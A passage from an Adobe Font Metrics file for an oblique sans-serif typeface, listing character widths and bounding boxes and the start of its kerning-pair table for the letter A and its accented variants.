C 50 ; WX 556 ; N two ; B 26 0 617 703 ;
C 51 ; WX 556 ; N three ; B 75 -19 610 703 ;
C 52 ; WX 556 ; N four ; B 61 0 576 703 ;
C 53 ; WX 556 ; N five ; B 68 -19 621 688 ;
C 54 ; WX 556 ; N six ; B 91 -19 615 703 ;
C 55 ; WX 556 ; N seven ; B 137 0 669 688 ;
C 56 ; WX 556 ; N eight ; B 74 -19 607 703 ;
C 57 ; WX 556 ; N nine ; B 82 -19 609 703 ;
C 58 ; WX 278 ; N colon ; B 87 0 301 516 ;
C 59 ; WX 278 ; N semicolon ; B 56 -147 301 516 ;
C 60 ; WX 584 ; N less ; B 94 11 641 495 ;
C 61 ; WX 584 ; N equal ; B 63 115 628 390 ;
C 62 ; WX 584 ; N greater ; B 50 11 597 495 ;
C 63 ; WX 556 ; N question ; B 161 0 610 727 ;
C 64 ; WX 1015 ; N at ; B 215 -19 965 737 ;
C 65 ; WX 667 ; N A ; B 14 0 654 718 ;
C 66 ; WX 667 ; N B ; B 74 0 712 718 ;
C 67 ; WX 722 ; N C ; B 108 -19 782 737 ;
C 68 ; WX 722 ; N D ; B 81 0 764 718 ;
C 69 ; WX 667 ; N E ; B 86 0 762 718 ;
C 70 ; WX 611 ; N F ; B 86 0 736 718 ;
C 71 ; WX 778 ; N G ; B 111 -19 799 737 ;
C 72 ; WX 722 ; N H ; B 77 0 799 718 ;
C 73 ; WX 278 ; N I ; B 91 0 341 718 ;
C 74 ; WX 500 ; N J ; B 47 -19 581 718 ;
C 75 ; WX 667 ; N K ; B 76 0 808 718 ;
C 76 ; WX 556 ; N L ; B 76 0 555 718 ;
C 77 ; WX 833 ; N M ; B 73 0 914 718 ;
C 78 ; WX 722 ; N N ; B 76 0 799 718 ;
C 79 ; WX 778 ; N O ; B 105 -19 826 737 ;
C 80 ; WX 667 ; N P ; B 86 0 737 718 ;
C 81 ; WX 778 ; N Q ; B 105 -56 826 737 ;
C 82 ; WX 722 ; N R ; B 88 0 773 718 ;
C 83 ; WX 667 ; N S ; B 90 -19 713 737 ;
C 84 ; WX 611 ; N T ; B 148 0 750 718 ;
C 85 ; WX 722 ; N U ; B 123 -19 797 718 ;
C 86 ; WX 667 ; N V ; B 173 0 800 718 ;
C 87 ; WX 944 ; N W ; B 169 0 1081 718 ;
C 88 ; WX 667 ; N X ; B 19 0 790 718 ;
C 89 ; WX 667 ; N Y ; B 167 0 806 718 ;
C 90 ; WX 611 ; N Z ; B 23 0 741 718 ;
C 91 ; WX 278 ; N bracketleft ; B 21 -196 403 722 ;
C 92 ; WX 278 ; N backslash ; B 140 -19 291 737 ;
C 93 ; WX 278 ; N bracketright ; B -14 -196 368 722 ;
C 94 ; WX 469 ; N asciicircum ; B 42 264 539 688 ;
C 95 ; WX 556 ; N underscore ; B -27 -125 540 -75 ;
C 145 ; WX 222 ; N quoteleft ; B 165 470 323 725 ;
C 97 ; WX 556 ; N a ; B 61 -15 559 538 ;
C 98 ; WX 556 ; N b ; B 58 -15 584 718 ;
C 99 ; WX 500 ; N c ; B 74 -15 553 538 ;
C 100 ; WX 556 ; N d ; B 84 -15 652 718 ;
C 101 ; WX 556 ; N e ; B 84 -15 578 538 ;
C 102 ; WX 278 ; N f ; B 86 0 416 728 ; L i fi ; L l fl ;
C 103 ; WX 556 ; N g ; B 42 -220 610 538 ;
C 104 ; WX 556 ; N h ; B 65 0 573 718 ;
C 105 ; WX 222 ; N i ; B 67 0 308 718 ;
C 106 ; WX 222 ; N j ; B -60 -210 308 718 ;
C 107 ; WX 500 ; N k ; B 67 0 600 718 ;
C 108 ; WX 222 ; N l ; B 67 0 308 718 ;
C 109 ; WX 833 ; N m ; B 65 0 852 538 ;
C 110 ; WX 556 ; N n ; B 65 0 573 538 ;
C 111 ; WX 556 ; N o ; B 83 -14 585 538 ;
C 112 ; WX 556 ; N p ; B 14 -207 584 538 ;
C 113 ; WX 556 ; N q ; B 84 -207 605 538 ;
C 114 ; WX 333 ; N r ; B 77 0 446 538 ;
C 115 ; WX 500 ; N s ; B 63 -15 529 538 ;
C 116 ; WX 278 ; N t ; B 102 -7 368 669 ;
C 117 ; WX 556 ; N u ; B 94 -15 600 523 ;
C 118 ; WX 500 ; N v ; B 119 0 603 523 ;
C 119 ; WX 722 ; N w ; B 125 0 820 523 ;
C 120 ; WX 500 ; N x ; B 11 0 594 523 ;
C 121 ; WX 500 ; N y ; B 15 -214 600 523 ;
C 122 ; WX 500 ; N z ; B 31 0 571 523 ;
C 123 ; WX 334 ; N braceleft ; B 92 -196 445 722 ;
C 124 ; WX 260 ; N bar ; B 46 -225 332 775 ;
C 125 ; WX 334 ; N braceright ; B 0 -196 354 722 ;
C 126 ; WX 584 ; N asciitilde ; B 111 180 580 326 ;
C 161 ; WX 333 ; N exclamdown ; B 77 -195 326 523 ;
C 162 ; WX 556 ; N cent ; B 95 -115 584 623 ;
C 163 ; WX 556 ; N sterling ; B 49 -16 634 718 ;
C -1 ; WX 167 ; N fraction ; B -170 -19 482 703 ;
C 165 ; WX 556 ; N yen ; B 81 0 699 688 ;
C 131 ; WX 556 ; N florin ; B -52 -207 654 737 ;
C 167 ; WX 556 ; N section ; B 76 -191 584 737 ;
C 164 ; WX 556 ; N currency ; B 60 99 646 603 ;
C 39 ; WX 191 ; N quotesingle ; B 157 463 285 718 ;
C 147 ; WX 333 ; N quotedblleft ; B 138 470 461 725 ;
C 171 ; WX 556 ; N guillemotleft ; B 146 108 554 446 ;
C 139 ; WX 333 ; N guilsinglleft ; B 137 108 340 446 ;
C 155 ; WX 333 ; N guilsinglright ; B 111 108 314 446 ;
C -1 ; WX 500 ; N fi ; B 86 0 587 728 ;
C -1 ; WX 500 ; N fl ; B 86 0 585 728 ;
C 150 ; WX 556 ; N endash ; B 51 240 623 313 ;
C 134 ; WX 556 ; N dagger ; B 135 -159 622 718 ;
C 135 ; WX 556 ; N daggerdbl ; B 52 -159 623 718 ;
C 183 ; WX 278 ; N periodcentered ; B 129 190 257 315 ;
C 182 ; WX 537 ; N paragraph ; B 126 -173 650 718 ;
C 149 ; WX 350 ; N bullet ; B 91 202 413 517 ;
C 130 ; WX 222 ; N quotesinglbase ; B 21 -149 180 106 ;
C 132 ; WX 333 ; N quotedblbase ; B -6 -149 318 106 ;
C 148 ; WX 333 ; N quotedblright ; B 124 463 448 718 ;
C 187 ; WX 556 ; N guillemotright ; B 120 108 528 446 ;
C 133 ; WX 1000 ; N ellipsis ; B 115 0 908 106 ;
C 137 ; WX 1000 ; N perthousand ; B 88 -19 1029 703 ;
C 191 ; WX 611 ; N questiondown ; B 85 -201 534 525 ;
C 96 ; WX 333 ; N grave ; B 170 593 337 734 ;
C 180 ; WX 333 ; N acute ; B 248 593 475 734 ;
C 136 ; WX 333 ; N circumflex ; B 147 593 438 734 ;
C 152 ; WX 333 ; N tilde ; B 125 606 490 722 ;
C 175 ; WX 333 ; N macron ; B 143 627 468 684 ;
C -1 ; WX 333 ; N breve ; B 167 595 476 731 ;
C -1 ; WX 333 ; N dotaccent ; B 249 604 362 706 ;
C 168 ; WX 333 ; N dieresis ; B 168 604 443 706 ;
C -1 ; WX 333 ; N ring ; B 214 572 402 756 ;
C 184 ; WX 333 ; N cedilla ; B 2 -225 232 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B 157 593 565 734 ;
C -1 ; WX 333 ; N ogonek ; B 43 -225 249 0 ;
C -1 ; WX 333 ; N caron ; B 177 593 468 734 ;
C 151 ; WX 1000 ; N emdash ; B 51 240 1067 313 ;
C 198 ; WX 1000 ; N AE ; B 8 0 1097 718 ;
C 170 ; WX 370 ; N ordfeminine ; B 127 405 449 737 ;
C -1 ; WX 556 ; N Lslash ; B 41 0 555 718 ;
C 216 ; WX 778 ; N Oslash ; B 43 -19 890 737 ;
C 140 ; WX 1000 ; N OE ; B 98 -19 1116 737 ;
C 186 ; WX 365 ; N ordmasculine ; B 141 405 468 737 ;
C 230 ; WX 889 ; N ae ; B 61 -15 909 538 ;
C -1 ; WX 278 ; N dotlessi ; B 95 0 294 523 ;
C -1 ; WX 222 ; N lslash ; B 41 0 347 718 ;
C 248 ; WX 611 ; N oslash ; B 29 -22 647 545 ;
C 156 ; WX 944 ; N oe ; B 83 -15 964 538 ;
C 223 ; WX 611 ; N germandbls ; B 67 -15 658 728 ;
C 207 ; WX 278 ; N Idieresis ; B 91 0 458 901 ;
C 233 ; WX 556 ; N eacute ; B 84 -15 587 734 ;
C -1 ; WX 556 ; N abreve ; B 61 -15 578 731 ;
C -1 ; WX 556 ; N uhungarumlaut ; B 94 -15 677 734 ;
C -1 ; WX 556 ; N ecaron ; B 84 -15 580 734 ;
C 159 ; WX 667 ; N Ydieresis ; B 167 0 806 901 ;
C 247 ; WX 584 ; N divide ; B 85 -19 606 524 ;
C 221 ; WX 667 ; N Yacute ; B 167 0 806 929 ;
C 194 ; WX 667 ; N Acircumflex ; B 14 0 654 929 ;
C 225 ; WX 556 ; N aacute ; B 61 -15 587 734 ;
C 219 ; WX 722 ; N Ucircumflex ; B 123 -19 797 929 ;
C 253 ; WX 500 ; N yacute ; B 15 -214 600 734 ;
C -1 ; WX 500 ; N scommaaccent ; B 63 -225 529 538 ;
C 234 ; WX 556 ; N ecircumflex ; B 84 -15 578 734 ;
C -1 ; WX 722 ; N Uring ; B 123 -19 797 931 ;
C 220 ; WX 722 ; N Udieresis ; B 123 -19 797 901 ;
C -1 ; WX 556 ; N aogonek ; B 61 -220 559 538 ;
C 218 ; WX 722 ; N Uacute ; B 123 -19 797 929 ;
C -1 ; WX 556 ; N uogonek ; B 94 -225 600 523 ;
C 203 ; WX 667 ; N Edieresis ; B 86 0 762 901 ;
C -1 ; WX 722 ; N Dcroat ; B 69 0 764 718 ;
C -1 ; WX 250 ; N commaaccent ; B 39 -225 172 -40 ;
C 169 ; WX 737 ; N copyright ; B 54 -19 837 737 ;
C -1 ; WX 667 ; N Emacron ; B 86 0 762 879 ;
C -1 ; WX 500 ; N ccaron ; B 74 -15 553 734 ;
C 229 ; WX 556 ; N aring ; B 61 -15 559 756 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 76 -225 799 718 ;
C -1 ; WX 222 ; N lacute ; B 67 0 461 929 ;
C 224 ; WX 556 ; N agrave ; B 61 -15 559 734 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 148 -225 750 718 ;
C -1 ; WX 722 ; N Cacute ; B 108 -19 782 929 ;
C 227 ; WX 556 ; N atilde ; B 61 -15 592 722 ;
C -1 ; WX 667 ; N Edotaccent ; B 86 0 762 901 ;
C 154 ; WX 500 ; N scaron ; B 63 -15 552 734 ;
C -1 ; WX 500 ; N scedilla ; B 63 -225 529 538 ;
C 237 ; WX 278 ; N iacute ; B 95 0 448 734 ;
C -1 ; WX 471 ; N lozenge ; B 88 0 540 728 ;
C -1 ; WX 722 ; N Rcaron ; B 88 0 773 929 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 111 -225 799 737 ;
C 251 ; WX 556 ; N ucircumflex ; B 94 -15 600 734 ;
C 226 ; WX 556 ; N acircumflex ; B 61 -15 559 734 ;
C -1 ; WX 667 ; N Amacron ; B 14 0 677 879 ;
C -1 ; WX 333 ; N rcaron ; B 77 0 508 734 ;
C 231 ; WX 500 ; N ccedilla ; B 74 -225 553 538 ;
C -1 ; WX 611 ; N Zdotaccent ; B 23 0 741 901 ;
C 222 ; WX 667 ; N Thorn ; B 86 0 712 718 ;
C -1 ; WX 778 ; N Omacron ; B 105 -19 826 879 ;
C -1 ; WX 722 ; N Racute ; B 88 0 773 929 ;
C -1 ; WX 667 ; N Sacute ; B 90 -19 713 929 ;
C -1 ; WX 643 ; N dcaron ; B 84 -15 808 718 ;
C -1 ; WX 722 ; N Umacron ; B 123 -19 797 879 ;
C -1 ; WX 556 ; N uring ; B 94 -15 600 756 ;
C 179 ; WX 333 ; N threesuperior ; B 90 270 436 703 ;
C 210 ; WX 778 ; N Ograve ; B 105 -19 826 929 ;
C 192 ; WX 667 ; N Agrave ; B 14 0 654 929 ;
C -1 ; WX 667 ; N Abreve ; B 14 0 685 926 ;
C 215 ; WX 584 ; N multiply ; B 50 0 642 506 ;
C 250 ; WX 556 ; N uacute ; B 94 -15 600 734 ;
C -1 ; WX 611 ; N Tcaron ; B 148 0 750 929 ;
C -1 ; WX 476 ; N partialdiff ; B 41 -38 550 714 ;
C 255 ; WX 500 ; N ydieresis ; B 15 -214 600 706 ;
C -1 ; WX 722 ; N Nacute ; B 76 0 799 929 ;
C 238 ; WX 278 ; N icircumflex ; B 95 0 411 734 ;
C 202 ; WX 667 ; N Ecircumflex ; B 86 0 762 929 ;
C 228 ; WX 556 ; N adieresis ; B 61 -15 559 706 ;
C 235 ; WX 556 ; N edieresis ; B 84 -15 578 706 ;
C -1 ; WX 500 ; N cacute ; B 74 -15 559 734 ;
C -1 ; WX 556 ; N nacute ; B 65 0 587 734 ;
C -1 ; WX 556 ; N umacron ; B 94 -15 600 684 ;
C -1 ; WX 722 ; N Ncaron ; B 76 0 799 929 ;
C 205 ; WX 278 ; N Iacute ; B 91 0 489 929 ;
C 177 ; WX 584 ; N plusminus ; B 39 0 618 506 ;
C 166 ; WX 260 ; N brokenbar ; B 62 -150 316 700 ;
C 174 ; WX 737 ; N registered ; B 54 -19 837 737 ;
C -1 ; WX 778 ; N Gbreve ; B 111 -19 799 926 ;
C -1 ; WX 278 ; N Idotaccent ; B 91 0 377 901 ;
C -1 ; WX 600 ; N summation ; B 15 -10 671 706 ;
C 200 ; WX 667 ; N Egrave ; B 86 0 762 929 ;
C -1 ; WX 333 ; N racute ; B 77 0 475 734 ;
C -1 ; WX 556 ; N omacron ; B 83 -14 585 684 ;
C -1 ; WX 611 ; N Zacute ; B 23 0 741 929 ;
C 142 ; WX 611 ; N Zcaron ; B 23 0 741 929 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 620 674 ;
C 208 ; WX 722 ; N Eth ; B 69 0 764 718 ;
C 199 ; WX 722 ; N Ccedilla ; B 108 -225 782 737 ;
C -1 ; WX 222 ; N lcommaaccent ; B 25 -225 308 718 ;
C -1 ; WX 317 ; N tcaron ; B 102 -7 501 808 ;
C -1 ; WX 556 ; N eogonek ; B 84 -225 578 538 ;
C -1 ; WX 722 ; N Uogonek ; B 123 -225 797 718 ;
C 193 ; WX 667 ; N Aacute ; B 14 0 683 929 ;
C 196 ; WX 667 ; N Adieresis ; B 14 0 654 901 ;
C 232 ; WX 556 ; N egrave ; B 84 -15 578 734 ;
C -1 ; WX 500 ; N zacute ; B 31 0 571 734 ;
C -1 ; WX 222 ; N iogonek ; B -61 -225 308 718 ;
C 211 ; WX 778 ; N Oacute ; B 105 -19 826 929 ;
C 243 ; WX 556 ; N oacute ; B 83 -14 587 734 ;
C -1 ; WX 556 ; N amacron ; B 61 -15 580 684 ;
C -1 ; WX 500 ; N sacute ; B 63 -15 559 734 ;
C 239 ; WX 278 ; N idieresis ; B 95 0 416 706 ;
C 212 ; WX 778 ; N Ocircumflex ; B 105 -19 826 929 ;
C 217 ; WX 722 ; N Ugrave ; B 123 -19 797 929 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 556 ; N thorn ; B 14 -207 584 718 ;
C 178 ; WX 333 ; N twosuperior ; B 64 281 449 703 ;
C 214 ; WX 778 ; N Odieresis ; B 105 -19 826 901 ;
C 181 ; WX 556 ; N mu ; B 24 -207 600 523 ;
C 236 ; WX 278 ; N igrave ; B 95 0 310 734 ;
C -1 ; WX 556 ; N ohungarumlaut ; B 83 -14 677 734 ;
C -1 ; WX 667 ; N Eogonek ; B 86 -220 762 718 ;
C -1 ; WX 556 ; N dcroat ; B 84 -15 689 718 ;
C 190 ; WX 834 ; N threequarters ; B 130 -19 861 703 ;
C -1 ; WX 667 ; N Scedilla ; B 90 -225 713 737 ;
C -1 ; WX 299 ; N lcaron ; B 67 0 464 718 ;
C -1 ; WX 667 ; N Kcommaaccent ; B 76 -225 808 718 ;
C -1 ; WX 556 ; N Lacute ; B 76 0 555 929 ;
C 153 ; WX 1000 ; N trademark ; B 186 306 1056 718 ;
C -1 ; WX 556 ; N edotaccent ; B 84 -15 578 706 ;
C 204 ; WX 278 ; N Igrave ; B 91 0 351 929 ;
C -1 ; WX 278 ; N Imacron ; B 91 0 483 879 ;
C -1 ; WX 556 ; N Lcaron ; B 76 0 570 718 ;
C 189 ; WX 834 ; N onehalf ; B 114 -19 839 703 ;
C -1 ; WX 549 ; N lessequal ; B 26 0 666 674 ;
C 244 ; WX 556 ; N ocircumflex ; B 83 -14 585 734 ;
C 241 ; WX 556 ; N ntilde ; B 65 0 592 722 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 123 -19 801 929 ;
C 201 ; WX 667 ; N Eacute ; B 86 0 762 929 ;
C -1 ; WX 556 ; N emacron ; B 84 -15 580 684 ;
C -1 ; WX 556 ; N gbreve ; B 42 -220 610 731 ;
C 188 ; WX 834 ; N onequarter ; B 150 -19 802 703 ;
C 138 ; WX 667 ; N Scaron ; B 90 -19 713 929 ;
C -1 ; WX 667 ; N Scommaaccent ; B 90 -225 713 737 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 105 -19 829 929 ;
C 176 ; WX 400 ; N degree ; B 169 411 468 703 ;
C 242 ; WX 556 ; N ograve ; B 83 -14 585 734 ;
C -1 ; WX 722 ; N Ccaron ; B 108 -19 782 929 ;
C 249 ; WX 556 ; N ugrave ; B 94 -15 600 734 ;
C -1 ; WX 453 ; N radical ; B 79 -80 617 762 ;
C -1 ; WX 722 ; N Dcaron ; B 81 0 764 929 ;
C -1 ; WX 333 ; N rcommaaccent ; B 30 -225 446 538 ;
C 209 ; WX 722 ; N Ntilde ; B 76 0 799 917 ;
C 245 ; WX 556 ; N otilde ; B 83 -14 602 722 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 88 -225 773 718 ;
C -1 ; WX 556 ; N Lcommaaccent ; B 76 -225 555 718 ;
C 195 ; WX 667 ; N Atilde ; B 14 0 699 917 ;
C -1 ; WX 667 ; N Aogonek ; B 14 -225 654 718 ;
C 197 ; WX 667 ; N Aring ; B 14 0 654 931 ;
C 213 ; WX 778 ; N Otilde ; B 105 -19 826 917 ;
C -1 ; WX 500 ; N zdotaccent ; B 31 0 571 706 ;
C -1 ; WX 667 ; N Ecaron ; B 86 0 762 929 ;
C -1 ; WX 278 ; N Iogonek ; B -33 -225 341 718 ;
C -1 ; WX 500 ; N kcommaaccent ; B 67 -225 600 718 ;
C -1 ; WX 584 ; N minus ; B 85 216 606 289 ;
C 206 ; WX 278 ; N Icircumflex ; B 91 0 452 929 ;
C -1 ; WX 556 ; N ncaron ; B 65 0 580 734 ;
C -1 ; WX 278 ; N tcommaaccent ; B 63 -225 368 669 ;
C 172 ; WX 584 ; N logicalnot ; B 106 108 628 390 ;
C 246 ; WX 556 ; N odieresis ; B 83 -14 585 706 ;
C 252 ; WX 556 ; N udieresis ; B 94 -15 600 706 ;
C -1 ; WX 549 ; N notequal ; B 34 -35 623 551 ;
C -1 ; WX 556 ; N gcommaaccent ; B 42 -220 610 822 ;
C 240 ; WX 556 ; N eth ; B 81 -15 617 737 ;
C 158 ; WX 500 ; N zcaron ; B 31 0 571 734 ;
C -1 ; WX 556 ; N ncommaaccent ; B 65 -225 573 538 ;
C 185 ; WX 333 ; N onesuperior ; B 166 281 371 703 ;
C -1 ; WX 278 ; N imacron ; B 95 0 417 684 ;
C 128 ; WX 556 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2705
KPX A C -30
KPX A Cacute -30
KPX A Ccaron -30
KPX A Ccedilla -30
KPX A G -30
KPX A Gbreve -30
KPX A Gcommaaccent -30
KPX A O -30
KPX A Oacute -30
KPX A Ocircumflex -30
KPX A Odieresis -30
KPX A Ograve -30
KPX A Ohungarumlaut -30
KPX A Omacron -30
KPX A Oslash -30
KPX A Otilde -30
KPX A Q -30
KPX A T -120
KPX A Tcaron -120
KPX A Tcommaaccent -120
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -70
KPX A W -50
KPX A Y -100
KPX A Yacute -100
KPX A Ydieresis -100
KPX A u -30
KPX A uacute -30
KPX A ucircumflex -30
KPX A udieresis -30
KPX A ugrave -30
KPX A uhungarumlaut -30
KPX A umacron -30
KPX A uogonek -30
KPX A uring -30
KPX A v -40
KPX A w -40
KPX A y -40
KPX A yacute -40
KPX A ydieresis -40
KPX Aacute C -30
KPX Aacute Cacute -30
KPX Aacute Ccaron -30
KPX Aacute Ccedilla -30
KPX Aacute G -30
KPX Aacute Gbreve -30
KPX Aacute Gcommaaccent -30
KPX Aacute O -30
KPX Aacute Oacute -30
KPX Aacute Ocircumflex -30
KPX Aacute Odieresis -30
KPX Aacute Ograve -30
KPX Aacute Ohungarumlaut -30
KPX Aacute Omacron -30
KPX Aacute Oslash -30
KPX Aacute Otilde -30
KPX Aacute Q -30
KPX Aacute T -120
KPX Aacute Tcaron -120
KPX Aacute Tcommaaccent -120
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -70
KPX Aacute W -50
KPX Aacute Y -100
KPX Aacute Yacute -100
KPX Aacute Ydieresis -100
KPX Aacute u -30
KPX Aacute uacute -30
KPX Aacute ucircumflex -30
KPX Aacute udieresis -30
KPX Aacute ugrave -30
KPX Aacute uhungarumlaut -30
KPX Aacute umacron -30
KPX Aacute uogonek -30
KPX Aacute uring -30
KPX Aacute v -40
KPX Aacute w -40
KPX Aacute y -40
KPX Aacute yacute -40
KPX Aacute ydieresis -40
KPX Abreve C -30
KPX Abreve Cacute -30
KPX Abreve Ccaron -30
KPX Abreve Ccedilla -30
KPX Abreve G -30
KPX Abreve Gbreve -30
KPX Abreve Gcommaaccent -30
KPX Abreve O -30
KPX Abreve Oacute -30
KPX Abreve Ocircumflex -30
KPX Abreve Odieresis -30
KPX Abreve Ograve -30
KPX Abreve Ohungarumlaut -30
KPX Abreve Omacron -30
KPX Abreve Oslash -30
KPX Abreve Otilde -30
KPX Abreve Q -30
KPX Abreve T -120
KPX Abreve Tcaron -120
KPX Abreve Tcommaaccent -120
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -70
KPX Abreve W -50
KPX Abreve Y -100
KPX Abreve Yacute -100
KPX Abreve Ydieresis -100
KPX Abreve u -30
KPX Abreve uacute -30
KPX Abreve ucircumflex -30
KPX Abreve udieresis -30
KPX Abreve ugrave -30
KPX Abreve uhungarumlaut -30
KPX Abreve umacron -30
KPX Abreve uogonek -30
KPX Abreve uring -30
KPX Abreve v -40
KPX Abreve w -40
KPX Abreve y -40
KPX Abreve yacute -40
KPX Abreve ydieresis -40
KPX Acircumflex C -30
KPX Acircumflex Cacute -30
KPX Acircumflex Ccaron -30
KPX Acircumflex Ccedilla -30
KPX Acircumflex G -30
KPX Acircumflex Gbreve -30
KPX Acircumflex Gcommaaccent -30
KPX Acircumflex O -30
KPX Acircumflex Oacute -30
KPX Acircumflex Ocircumflex -30
KPX Acircumflex Odieresis -30
KPX Acircumflex Ograve -30
KPX Acircumflex Ohungarumlaut -30
KPX Acircumflex Omacron -30
KPX Acircumflex Oslash -30
KPX Acircumflex Otilde -30
KPX Acircumflex Q -30
KPX Acircumflex T -120
KPX Acircumflex Tcaron -120
KPX Acircumflex Tcommaaccent -120
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -70
KPX Acircumflex W -50
KPX Acircumflex Y -100
KPX Acircumflex Yacute -100
KPX Acircumflex Ydieresis -100
KPX Acircumflex u -30
KPX Acircumflex uacute -30
KPX Acircumflex ucircumflex -30
KPX Acircumflex udieresis -30
KPX Acircumflex ugrave -30
KPX Acircumflex uhungarumlaut -30
KPX Acircumflex umacron -30
KPX Acircumflex uogonek -30
KPX Acircumflex uring -30
KPX Acircumflex v -40
KPX Acircumflex w -40
KPX Acircumflex y -40
KPX Acircumflex yacute -40
KPX Acircumflex ydieresis -40
KPX Adieresis C -30
KPX Adieresis Cacute -30
KPX Adieresis Ccaron -30
KPX Adieresis Ccedilla -30
KPX Adieresis G -30
KPX Adieresis Gbreve -30
KPX Adieresis Gcommaaccent -30
KPX Adieresis O -30
KPX Adieresis Oacute -30
KPX Adieresis Ocircumflex -30
KPX Adieresis Odieresis -30
KPX Adieresis Ograve -30
KPX Adieresis Ohungarumlaut -30
KPX Adieresis Omacron -30
KPX Adieresis Oslash -30
KPX Adieresis Otilde -30
KPX Adieresis Q -30
KPX Adieresis T -120
KPX Adieresis Tcaron -120
KPX Adieresis Tcommaaccent -120
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -70
KPX Adieresis W -50
KPX Adieresis Y -100
KPX Adieresis Yacute -100
KPX Adieresis Ydieresis -100
KPX Adieresis u -30
KPX Adieresis uacute -30
KPX Adieresis ucircumflex -30
KPX Adieresis udieresis -30
KPX Adieresis ugrave -30
KPX Adieresis uhungarumlaut -30
KPX Adieresis umacron -30
KPX Adieresis uogonek -30
KPX Adieresis uring -30
KPX Adieresis v -40
KPX Adieresis w -40
KPX Adieresis y -40
KPX Adieresis yacute -40
KPX Adieresis ydieresis -40
KPX Agrave C -30
KPX Agrave Cacute -30
KPX Agrave Ccaron -30
KPX Agrave Ccedilla -30
KPX Agrave G -30
KPX Agrave Gbreve -30
KPX Agrave Gcommaaccent -30
KPX Agrave O -30
KPX Agrave Oacute -30
KPX Agrave Ocircumflex -30
KPX Agrave Odieresis -30
KPX Agrave Ograve -30
KPX Agrave Ohungarumlaut -30
KPX Agrave Omacron -30
KPX Agrave Oslash -30
KPX Agrave Otilde -30
KPX Agrave Q -30
KPX Agrave T -120
KPX Agrave Tcaron -120
KPX Agrave Tcommaaccent -120
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -70
KPX Agrave W -50
KPX Agrave Y -100
KPX Agrave Yacute -100
KPX Agrave Ydieresis -100
KPX Agrave u -30
KPX Agrave uacute -30
KPX Agrave ucircumflex -30
KPX Agrave udieresis -30
KPX Agrave ugrave -30
KPX Agrave uhungarumlaut -30
KPX Agrave umacron -30
KPX Agrave uogonek -30
KPX Agrave uring -30
KPX Agrave v -40
KPX Agrave w -40
KPX Agrave y -40
KPX Agrave yacute -40
KPX Agrave ydieresis -40
KPX Amacron C -30
KPX Amacron Cacute -30
KPX Amacron Ccaron -30
KPX Amacron Ccedilla -30
KPX Amacron G -30
KPX Amacron Gbreve -30
KPX Amacron Gcommaaccent -30
KPX Amacron O -30
KPX Amacron Oacute -30
KPX Amacron Ocircumflex -30
KPX Amacron Odieresis -30
KPX Amacron Ograve -30
KPX Amacron Ohungarumlaut -30
KPX Amacron Omacron -30
KPX Amacron Oslash -30
KPX Amacron Otilde -30
KPX Amacron Q -30
KPX Amacron T -120
KPX Amacron Tcaron -120
KPX Amacron Tcommaaccent -120
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -70
KPX Amacron W -50
KPX Amacron Y -100
KPX Amacron Yacute -100
KPX Amacron Ydieresis -100
KPX Amacron u -30
KPX Amacron uacute -30
KPX Amacron ucircumflex -30
KPX Amacron udieresis -30
KPX Amacron ugrave -30
KPX Amacron uhungarumlaut -30
KPX Amacron umacron -30
KPX Amacron uogonek -30
KPX Amacron uring -30
KPX Amacron v -40
KPX Amacron w -40
KPX Amacron y -40
KPX Amacron yacute -40
KPX Amacron ydieresis -40
KPX Aogonek C -30
KPX Aogonek Cacute -30
KPX Aogonek Ccaron -30
KPX Aogonek Ccedilla -30
KPX Aogonek G -30
KPX Aogonek Gbreve -30
KPX Aogonek Gcommaaccent -30
KPX Aogonek O -30
KPX Aogonek Oacute -30
KPX Aogonek Ocircumflex -30
KPX Aogonek Odieresis -30
KPX Aogonek Ograve -30
KPX Aogonek Ohungarumlaut -30
KPX Aogonek Omacron -30
KPX Aogonek Oslash -30
KPX Aogonek Otilde -30
KPX Aogonek Q -30
KPX Aogonek T -120
KPX Aogonek Tcaron -120
KPX Aogonek Tcommaaccent -120
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
